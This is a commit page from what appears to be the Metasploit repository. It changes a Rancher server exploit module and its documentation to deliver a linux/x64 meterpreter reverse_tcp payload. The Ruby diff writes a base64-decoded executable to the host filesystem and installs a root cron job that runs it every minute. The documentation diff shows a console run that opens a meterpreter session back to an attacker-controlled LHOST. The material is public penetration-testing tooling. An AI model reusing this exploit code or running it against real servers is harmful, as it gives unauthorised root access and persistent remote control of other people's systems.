Skip to content

Commit cc98e80

Browse files
committed
Change arch to ARCH_X64
1 parent 5ae7080 commit cc98e80

File tree

2 files changed

+14
-27
lines changed

2 files changed

+14
-27
lines changed

documentation/modules/exploit/linux/http/rancher_server.md

Lines changed: 6 additions & 7 deletions
Original file line numberDiff line numberDiff line change
@@ -105,8 +105,8 @@ See Rancher docs for [api-keys][5] and [membership-roles][6].
105105
msf > use exploit/linux/http/rancher_server
106106
msf exploit(rancher_server) > set RHOST 192.168.91.111
107107
RHOST => 192.168.91.111
108-
msf exploit(rancher_server) > set PAYLOAD python/meterpreter/reverse_tcp
109-
PAYLOAD => python/meterpreter/reverse_tcp
108+
msf exploit(rancher_server) > set PAYLOAD linux/x64/meterpreter/reverse_tcp
109+
PAYLOAD => linux/x64/meterpreter/reverse_tcp
110110
msf exploit(rancher_server) > set LHOST 192.168.91.1
111111
LHOST => 192.168.91.1
112112
msf exploit(rancher_server) > set VERBOSE true
@@ -129,11 +129,10 @@ msf exploit(rancher_server) > exploit
129129
[+] Deleted /tmp/jxKUxUyN
130130
131131
meterpreter > sysinfo
132-
Computer : rancher
133-
OS : Linux 4.9.0-3-amd64 #1 SMP Debian 4.9.30-2+deb9u2 (2017-06-26)
134-
Architecture : x64
135-
System Language : en_US
136-
Meterpreter : python/linux
132+
Computer : rancher
133+
OS : Debian 9.1 (Linux 4.9.0-3-amd64)
134+
Architecture : x64
135+
Meterpreter : x64/linux
137136
meterpreter >
138137
```
139138

modules/exploits/linux/http/rancher_server.rb

Lines changed: 8 additions & 20 deletions
Original file line numberDiff line numberDiff line change
@@ -30,26 +30,17 @@ def initialize(info = {})
3030
'URL' => 'https://docs.docker.com/engine/security/security/#docker-daemon-attack-surface'
3131
],
3232
'Platform' => 'linux',
33-
'Targets' => [
34-
[ 'Python', {
35-
'Platform' => 'python',
36-
'Arch' => ARCH_PYTHON,
37-
'Payload' => {
38-
'Compat' => {
39-
'ConnectionType' => 'reverse noconn none tunnel'
40-
}
41-
}
42-
}]
43-
],
44-
'DefaultOptions' => { 'WfsDelay' => 75, 'Payload' => 'python/meterpreter/reverse_tcp' },
45-
'DefaultTarget' => 0,
46-
'DisclosureDate' => 'Jul 27, 2017'))
33+
'Arch' => [ARCH_X64],
34+
'Targets' => [[ 'Linux', {} ]],
35+
'DefaultOptions' => { 'WfsDelay' => 75, 'Payload' => 'linux/x64/meterpreter/reverse_tcp' },
36+
'DefaultTarget' => 0,
37+
'DisclosureDate' => 'Jul 27, 2017'))
4738

4839
register_options(
4940
[
5041
Opt::RPORT(8080),
5142
OptString.new('TARGETURI', [ true, 'Path to Rancher Environment', '/v1/projects/1a5' ]),
52-
OptString.new('DOCKERIMAGE', [ true, 'hub.docker.com image to use', 'python:3-slim' ]),
43+
OptString.new('DOCKERIMAGE', [ true, 'hub.docker.com image to use', 'alpine:latest' ]),
5344
OptInt.new('WAIT_TIMEOUT', [ true, 'Time in seconds to wait for the docker container to deploy', 60 ]),
5445
OptString.new('CONTAINER_ID', [ false, 'container id you would like']),
5546
OptString.new('HttpUsername', [false, 'Rancher API Access Key (Username)']),
@@ -80,13 +71,10 @@ def make_cmd(mnt_path, cron_path, payload_path)
8071
echo_cron_path = mnt_path + cron_path
8172
echo_payload_path = mnt_path + payload_path
8273

83-
cron_command = "python #{payload_path}"
84-
payload_data = payload.raw
85-
86-
command = "echo \"#{payload_data}\" >> #{echo_payload_path} \&\& "
74+
command = "echo #{Rex::Text.encode_base64(payload.encoded_exe)} | base64 -d > #{echo_payload_path} \&\& chmod +x #{echo_payload_path} \&\& "
8775
command << "echo \"PATH=/sbin:/bin:/usr/sbin:/usr/bin:/usr/local/sbin:/usr/local/bin\" >> #{echo_cron_path} \&\& "
8876
command << "echo \"\" >> #{echo_cron_path} \&\& "
89-
command << "echo \"* * * * * root #{cron_command}\" >> #{echo_cron_path}"
77+
command << "echo \"* * * * * root #{payload_path}\" >> #{echo_cron_path}"
9078

9179
command
9280
end

0 commit comments

Comments
 (0)